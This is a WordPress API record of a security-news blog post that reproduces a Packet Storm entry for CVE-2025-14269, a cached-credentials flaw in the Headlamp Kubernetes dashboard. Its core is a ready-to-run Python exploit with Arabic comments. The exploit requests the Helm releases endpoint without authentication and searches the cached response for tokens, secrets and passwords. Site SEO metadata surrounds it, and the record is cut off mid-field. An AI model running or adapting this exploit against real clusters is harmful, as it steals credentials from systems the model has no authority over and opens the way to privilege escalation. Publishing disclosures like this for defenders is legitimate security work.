{"id":32453,"date":"2025-12-22T11:56:25","date_gmt":"2025-12-22T11:56:25","guid":{"rendered":"http:\/\/localhost\/?p=32453"},"modified":"2025-12-22T11:56:25","modified_gmt":"2025-12-22T11:56:25","slug":"headlamp-0380-unauthenticated-cached-credentials-access","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32453","title":{"rendered":"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:16:03&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a flaw in Headlamp Kubernetes dashboard versions 0.38.0 and below that allows unauthenticated users to access sensitive Helm release data, including secrets, tokens, and passwords, due to improper server-side caching&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213210&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-14269&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Headlamp 0.38.0 Unauthenticated Cached Credentials Access in Helm UI                                                        |\\n    | # Author    : indoushka4ever@gmail.com                                                                                                    |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/headlamp.dev                                                                                                        |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/213051\/ \\u0026 CVE-2025-14269\\n    \\n    [+] Summary    :  a significant security vulnerability in the in-cluster version of the Headlamp Kubernetes dashboard (versions \u2264 v0.38.0). \\n                      The flaw allows unauthenticated users to access sensitive Helm release data, including secrets, tokens, and passwords, due to improper server-side caching.\\n                      Core Mechanism: When Helm functionality is enabled (config.enableHelm: true), \\n    \\t\\t\\t\\t  the server caches the API response from the \/clusters\/main\/helm\/releases\/list endpoint after an authorized user first visits the Helm page. \\n    \\t\\t\\t\\t  Subsequent unauthenticated requests to the same endpoint receive this cached data without authorization checks.\\n    \\n    [+] Impact      : This vulnerability can lead to credential leakage and potential privilege escalation, granting unauthorized users access to sensitive cluster or registry credentials.\\n    \\n    [+] POC :\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    Proof of Concept (PoC) for CVE-2025-14269\\n    Vulnerability: Unauthenticated cached credentials access in Headlamp&#8217;s Helm UI.\\n    Author: indoushka \\n    Usage: python3 poc.py \\u003cTARGET_URL\\u003e\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import sys\\n    import requests\\n    import json\\n    import argparse\\n    from urllib.parse import urljoin\\n    \\n    # \u062a\u0639\u0637\u064a\u0644 \u062a\u062d\u0630\u064a\u0631\u0627\u062a SSL \u0644\u0623\u063a\u0631\u0627\u0636 \u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631 (\u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0627\u0644\u0647\u062f\u0641 \u064a\u0633\u062a\u062e\u062f\u0645 \u0634\u0647\u0627\u062f\u0629 \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u062a\u0648\u0642\u064a\u0639)\\n    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\\n    \\n    def exploit_target(target_url):\\n        \\&#8221;\\&#8221;\\&#8221;\\n        \u064a\u0631\u0633\u0644 \u0637\u0644\u0628\u064b\u0627 \u063a\u064a\u0631 \u0645\u0635\u0631\u062d \u0628\u0647 \u0625\u0644\u0649 \u0645\u0633\u0627\u0631 Helm \u0627\u0644\u062e\u0627\u0635 \u0628\u0640 Headlamp \u0648\u064a\u062d\u0627\u0648\u0644 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0633\u0629.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        # \u0646\u0642\u0637\u0629 \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629\\n        helm_endpoint = \\&#8221;\/clusters\/main\/helm\/releases\/list\\&#8221;\\n        full_url = urljoin(target_url, helm_endpoint)\\n    \\n        print(f\\&#8221;[*] \u0627\u0633\u062a\u0647\u062f\u0627\u0641: {target_url}\\&#8221;)\\n        print(f\\&#8221;[*] \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u062b\u063a\u0631\u0629 \u0641\u064a: {full_url}\\&#8221;)\\n        print(\\&#8221;[*] \u0625\u0631\u0633\u0627\u0644 \u0637\u0644\u0628 GET \u063a\u064a\u0631 \u0645\u0635\u0627\u062f\u0642&#8230;\\&#8221;)\\n    \\n        try:\\n            # 1. \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0637\u0644\u0628 \u0628\u062f\u0648\u0646 \u0645\u0635\u0627\u062f\u0642\u0629 \u0623\u0648 \u0645\u0644\u0641\u0627\u062a \u062a\u0639\u0631\u064a\u0641 \u0627\u0631\u062a\u0628\u0627\u0637\\n            response = requests.get(full_url, verify=False, timeout=10)\\n    \\n            # 2. \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0646\u062c\u0627\u062d \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629\\n            if response.status_code == 200:\\n                print(f\\&#8221;[+] \u0646\u062c\u0627\u062d! \u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u062a\u0645 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u064a\u0647\u0627 (\u0627\u0644\u062d\u0627\u0644\u0629: {response.status_code})\\&#8221;)\\n                \\n                # 3. \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0643\u0640 JSON (\u0627\u0644\u062a\u0646\u0633\u064a\u0642 \u0627\u0644\u0645\u062a\u0648\u0642\u0639 \u0644\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0633\u0629)\\n                try:\\n                    data = response.json()\\n                    print(\\&#8221;[+] \u062a\u0645 \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0643\u0640 JSON \u0628\u0646\u062c\u0627\u062d.\\&#8221;)\\n                    print(\\&#8221;[+] \u0641\u062d\u0635 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u0631\u062c\u0639\u0629 \u0644\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u062d\u0633\u0627\u0633\u0629&#8230;\\&#8221;)\\n    \\n                    # 4. \u062f\u0627\u0644\u0629 \u0645\u0633\u0627\u0639\u062f\u0629 \u0645\u062a\u0643\u0631\u0631\u0629 \u0644\u0644\u0628\u062d\u062b \u0639\u0646 \u0642\u064a\u0645 \u062a\u0628\u062f\u0648 \u062d\u0633\u0627\u0633\u0629 (\u0645\u0641\u0627\u062a\u064a\u062d\u060c \u0631\u0645\u0648\u0632\u060c \u0643\u0644\u0645\u0627\u062a \u0645\u0631\u0648\u0631)\\n                    def find_sensitive(data, path=\\&#8221;\\&#8221;):\\n                        findings = []\\n                        if isinstance(data, dict):\\n                            for key, value in data.items():\\n                                new_path = f\\&#8221;{path}.{key}\\&#8221; if path else key\\n                                # \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0645\u0641\u0627\u062a\u064a\u062d \u0628\u0627\u0633\u0645\u0627\u0621 \u062a\u062f\u0644 \u0639\u0644\u0649 \u062d\u0633\u0627\u0633\u064a\u062a\u0647\u0627\\n                                sensitive_keywords = [&#8216;token&#8217;, &#8216;secret&#8217;, &#8216;password&#8217;, &#8216;key&#8217;, &#8216;credential&#8217;, &#8216;auth&#8217;]\\n                                if any(kw in key.lower() for kw in sensitive_keywords):\\n                                    findings.append((new_path, value))\\n                                findings.extend(find_sensitive(value, new_path))\\n                        elif isinstance(data, list):\\n                            for i, item in enumerate(data):\\n                                new_path = f\\&#8221;{path}[{i}]\\&#8221;\\n                                findings.extend(find_sensitive(item, new_path))\\n                        return findings\\n    \\n                    sensitive_items = find_sensitive(data)\\n                    if sensitive_items:\\n                        print(\\&#8221;[!] *** \u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u062d\u0633\u0627\u0633\u0629 \u0645\u062d\u062a\u0645\u0644\u0629 \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0645\u0624\u0642\u062a\u0629! ***\\&#8221;)\\n                        for path, value in sensitive_items:\\n                            # \u0625\u062e\u0641\u0627\u0621 \u0627\u0644\u0642\u064a\u0645\u0629 \u062c\u0632\u0626\u064a\u064b\u0627 \u0644\u0644\u0623\u0645\u0627\u0646\\n                            if value and isinstance(value, str):\\n                                masked = value[:4] + \\&#8221;****\\&#8221; + value[-4:] if len(value) \\u003e 8 else \\&#8221;****\\&#8221;\\n                            else:\\n                                masked = \\&#8221;****\\&#8221;\\n                            print(f\\&#8221;    \u0627\u0644\u0645\u0633\u0627\u0631: {path}\\&#8221;)\\n                            print(f\\&#8221;    \u0627\u0644\u0642\u064a\u0645\u0629 (\u0645\u062e\u0641\u064a\u0629): {masked}\\\\n\\&#8221;)\\n                    else:\\n                        print(\\&#8221;[-] \u0644\u0645 \u064a\u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u062d\u0633\u0627\u0633\u0629 \u0648\u0627\u0636\u062d\u0629 \u0641\u064a \u0628\u064a\u0627\u0646\u0627\u062a JSON.\\&#8221;)\\n    \\n                    # 5. \u0639\u0631\u0636 \u0639\u064a\u0646\u0629 \u0645\u0646 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0644\u0641\u062d\u0635\u0647\u0627 \u064a\u062f\u0648\u064a\u064b\u0627\\n                    print(\\&#8221;\\\\n[*] \u0639\u064a\u0646\u0629 \u0645\u0646 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062e\u0627\u0645 (\u0623\u0648\u0644 500 \u062d\u0631\u0641):\\&#8221;)\\n                    sample = json.dumps(data, indent=2)[:500]\\n                    print(sample + (\\&#8221;&#8230;\\&#8221; if len(json.dumps(data)) \\u003e 500 else \\&#8221;\\&#8221;))\\n    \\n                except json.JSONDecodeError:\\n                    print(\\&#8221;[!] \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0644\u064a\u0633\u062a \u0628\u0635\u064a\u063a\u0629 JSON. \u0642\u062f \u062a\u0643\u0648\u0646 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0641\u064a \u062a\u0646\u0633\u064a\u0642 \u0622\u062e\u0631 \u0623\u0648 \u0642\u062f \u064a\u0643\u0648\u0646 \u0627\u0644\u0645\u0633\u0627\u0631 \u063a\u064a\u0631 \u0635\u062d\u064a\u062d.\\&#8221;)\\n                    print(\\&#8221;[*] \u0639\u0631\u0636 \u0623\u0648\u0644 200 \u062d\u0631\u0641 \u0645\u0646 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0627\u0644\u062e\u0627\u0645:\\&#8221;)\\n                    print(response.text[:200])\\n    \\n            elif response.status_code == 403 or response.status_code == 401:\\n                print(f\\&#8221;[-] \u062a\u0645 \u0631\u0641\u0636 \u0627\u0644\u0648\u0635\u0648\u0644 (\u0627\u0644\u062d\u0627\u0644\u0629: {response.status_code}). \u0642\u062f \u064a\u0643\u0648\u0646 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u063a\u064a\u0631 \u0645\u0639\u0631\u0636 \u0623\u0648 \u0642\u062f \u062a\u0645 \u0645\u0633\u062d \u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u062a\u062e\u0632\u064a\u0646 \u0627\u0644\u0645\u0624\u0642\u062a.\\&#8221;)\\n            else:\\n                print(f\\&#8221;[-] \u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u063a\u064a\u0631 \u0645\u062a\u0648\u0642\u0639\u0629 (\u0627\u0644\u062d\u0627\u0644\u0629: {response.status_code})\\&#8221;)\\n    \\n        except requests.exceptions.ConnectionError:\\n            print(f\\&#8221;[-] \u0641\u0634\u0644 \u0641\u064a \u0627\u0644\u0627\u062a\u0635\u0627\u0644 \u0628\u0640 {target_url}. \u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0639\u0646\u0648\u0627\u0646 \u0623\u0648 \u0623\u0646 \u0627\u0644\u062e\u0627\u062f\u0645 \u064a\u0639\u0645\u0644.\\&#8221;)\\n        except requests.exceptions.Timeout:\\n            print(f\\&#8221;[-] \u0627\u0646\u062a\u0647\u062a \u0645\u0647\u0644\u0629 \u0627\u0644\u0637\u0644\u0628. \u0642\u062f \u064a\u0643\u0648\u0646 \u0627\u0644\u062e\u0627\u062f\u0645 \u0628\u0637\u064a\u0626\u064b\u0627 \u0623\u0648 \u063a\u064a\u0631 \u0645\u062a\u0627\u062d.\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;[-] \u062d\u062f\u062b \u062e\u0637\u0623 \u063a\u064a\u0631 \u0645\u062a\u0648\u0642\u0639: {e}\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        parser = argparse.ArgumentParser(description=\\&#8221;PoC \u0644\u0644\u062b\u063a\u0631\u0629 CVE-2025-14269 \u0641\u064a Headlamp.\\&#8221;)\\n        parser.add_argument(\\&#8221;target_url\\&#8221;, help=\\&#8221;\u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0644\u062a\u0637\u0628\u064a\u0642 Headlamp (\u0645\u062b\u0627\u0644: http:\/\/headlamp.example.com:4466)\\&#8221;)\\n        args = parser.parse_args()\\n    \\n        exploit_target(args.target_url)\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213210&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213210\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:16:03&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a flaw in Headlamp Kubernetes dashboard versions 0.38.0 and below that allows unauthenticated users to access sensitive Helm release data,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32453","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32453\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:16:03&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a flaw in Headlamp Kubernetes dashboard versions 0.38.0 and below that allows unauthenticated users to access sensitive Helm release data,...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32453\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-22T11:56:25+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32453#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32453\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210\",\"datePublished\":\"2025-12-22T11:56:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32453\"},\"wordCount\":770,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32453#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32453\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32453\",\"name\":\"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-22T11:56:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32453#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32453\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32453#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32453","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:16:03&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a flaw in Headlamp Kubernetes dashboard versions 0.38.0 and below that allows unauthenticated users to access sensitive Helm release data,...","og_url":"https:\/\/zero.redgem.net\/?p=32453","og_site_name":"zero redgem","article_published_time":"2025-12-22T11:56:25+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32453#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32453"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210","datePublished":"2025-12-22T11:56:25+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32453"},"wordCount":770,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32453#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32453","url":"https:\/\/zero.redgem.net\/?p=32453","name":"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-22T11:56:25+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32453#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32453"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32453#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Headlamp 0.38.0 Unauthenticated Cached Credentials Access_PACKETSTORM:213210"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32453","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32453"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32453\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32453"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32453"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%